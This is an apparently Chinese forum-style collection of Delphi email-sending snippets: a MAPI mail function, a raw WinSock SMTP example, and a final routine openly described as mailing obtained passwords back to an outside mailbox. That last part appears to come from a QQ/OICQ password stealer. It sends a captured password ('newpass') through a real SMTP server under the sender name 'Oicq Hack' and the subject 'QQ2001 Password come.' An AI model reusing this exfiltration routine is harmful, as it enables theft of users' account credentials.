纯api的发送邮件程序

function SendMail(const Subject, Body, FileName, SenderName, SenderEMail,
RecepientName, RecepientEMail: string): Integer;
var
Message: TMapiMessage;
lpSender, lpRecepient: TMapiRecipDesc;
FileAttach: TMapiFileDesc;
SM: TFNMapiSendMail;
MAPIModule: HModule;
begin
FillChar(Message, SizeOf(Message), 0);
with Message do
begin
if (Subject <> '') then lpszSubject := PChar(Subject);
if (Body <> '') then lpszNoteText := PChar(Body);
if (SenderEmail <> '') then
begin
lpSender.ulRecipClass := MAPI_ORIG;
if (SenderName = '') then
lpSender.lpszName := PChar(SenderEMail)
else
lpSender.lpszName := PChar(SenderName);
lpSender.lpszAddress := PChar(SenderEmail);
lpSender.ulReserved := 0;
lpSender.ulEIDSize := 0;
lpSender.lpEntryID := nil;
lpOriginator := @lpSender;
end;
if (RecepientEmail <> '') then
begin
lpRecepient.ulRecipClass := MAPI_TO;
if (RecepientName = '') then
lpRecepient.lpszName := PChar(RecepientEMail)
else
lpRecepient.lpszName := PChar(RecepientName);
lpRecepient.lpszAddress := PChar(RecepientEmail);
lpRecepient.ulReserved := 0;
lpRecepient.ulEIDSize := 0;
lpRecepient.lpEntryID := nil;
nRecipCount := 1;
lpRecips := @lpRecepient;
end
else
lpRecips := nil;
if (FileName = '') then
begin
nFileCount := 0;
lpFiles := nil;
end
else
begin
FillChar(FileAttach, SizeOf(FileAttach), 0);
FileAttach.nPosition := Cardinal($FFFFFFFF);
FileAttach.lpszPathName := PChar(FileName);
nFileCount := 1;
lpFiles := @FileAttach;
end;
end;
MAPIModule := LoadLibrary(PChar(MAPIDLL));
if MAPIModule = 0 then
Result := -1
else
try
@SM := GetProcAddress(MAPIModule, 'MAPISendMail');
if @SM <> nil then
begin
Result := SM(0, Application.Handle, Message, MAPI_DIALOG or
MAPI_LOGON_UI, 0);
end
else
Result := 1;
finally
FreeLibrary(MAPIModule);
end;
if Result <> 0 then
MessageDlg('Error sending mail (' + IntToStr(Result) + ').', mtError,
[mbOK], 0);
end;
**********************
下面是利用WinSock发送电子邮件的例子：
whaoye：
program SendMail;
uses
winsock;
{$R *.RES}
procedure sendmails;stdcall;
var
s:tsocket;
buffer:array[0..255] of char;
errorcode:integer;
mailserver:tsockaddr;
begin
mailserver.sin_family:=af_inet;
mailserver.sin_port:=htons(25);
mailserver.sin_addr.S_addr:=inet_addr('202.104.32.230');
s:=socket(af_inet,sock_stream,0);
errorcode:=connect(s,mailserver,sizeof(mailserver));
if errorcode<>invalid_socket then
begin
buffer:='HELO'+#13#10;
send(s,buffer,length('HELO'+#13#10),0);
buffer:='MAIL FROM: whaoye@21cn.com'+#13#10;
send(s,buffer,length('MAIL FROM: whaoye@21cn.com'+#13#10),0);
buffer:='RCPT TO:administrator@godeye'+#13#10;
send(s,buffer,length('RCPT TO:administrator@godeye'+#13#10),0);
buffer:='DATA'+#13#10;
send(s,buffer,length('DATA'+#13#10),0);
buffer:='FROM:whaoye@21cn.com'+#13#10;
send(s,buffer,length('FROM:whaoye@21cn.com'+#13#10),0);
buffer:='TO:administrator@godeye'+#13#10;
send(s,buffer,length('TO:administrator@21cn.com'+#13#10),0);
buffer:='SUBJECT:just a test!'+#13#10;
send(s,buffer,length('SUBJECT:just a test!'+#13#10),0);
buffer:='I LOVE THIS GAME!'+#13#10;
send(s,buffer,length('I LOVE THIS GAME!'+#13#10),0);
buffer:='.'+#13#10;
send(s,buffer,length('.'+#13#10),0);
buffer:='QUIT'+#13#10;
send(s,buffer,length('QUIT'+#13#10),0);
closesocket(s);
end;
end;
var
wsa:twsadata;
begin
wsastartup($0202,wsa);
sendmails;
wsacleanup;
end.
*******************
//下面是个发信的子过程,取得密码后发回getoicq@21cn.com邮箱
procedure MailSend;
begin
err:=recv(FSocket,sbuf,400,0);
s1:=strpas(sbuf);
inc(step);
case step of
1:s1:='HELO smtp.hacker.com'+CRLF;
2:s1:='MAIL FROM: <getoicq@21cn.com>'+CRLF;
3:s1:='RCPT TO: <'+email+'>'+CRLF;
4:s1:='DATA'+CRLF;
5:s1:='From:"Oicq Hack"<www.hacker.com>'+CRLF
+'To:"getoicq"<www.password.com>'+CRLF
+'Subject:QQ2001 Password come.'+CRLF
+CRLF
+newpass+CRLF
+'.'+CRLF;
6:s1:='QUIT'+CRLF;
else
step:=0;
end;
strcopy(sbuf,pchar(s1));
err:=send(FSocket,sbuf,strlen(sbuf),MSG_DONTROUTE);
end;
//发信主过程
procedure SendPass;
begin
err:=WSAStartup($0101,WSAData);
FSocket := socket(PF_INET, SOCK_STREAM,IPPROTO_IP);
//利用 smtp.21cn.com 进行发信
fhost:='202.104.32.230';
fport:=25;
SockAddrIn.sin_addr.s_addr:=inet_addr(PChar(FHost));
SockAddrIn.sin_family := PF_INET;
SockAddrIn.sin_port :=htons(Fport);
err:=connect(FSocket,SockAddrIn, SizeOf(SockAddrIn));
step:=0;
repeat
MailSend;
until step=0;
err:=closesocket(FSocket);
err:=WSACleanup;
end;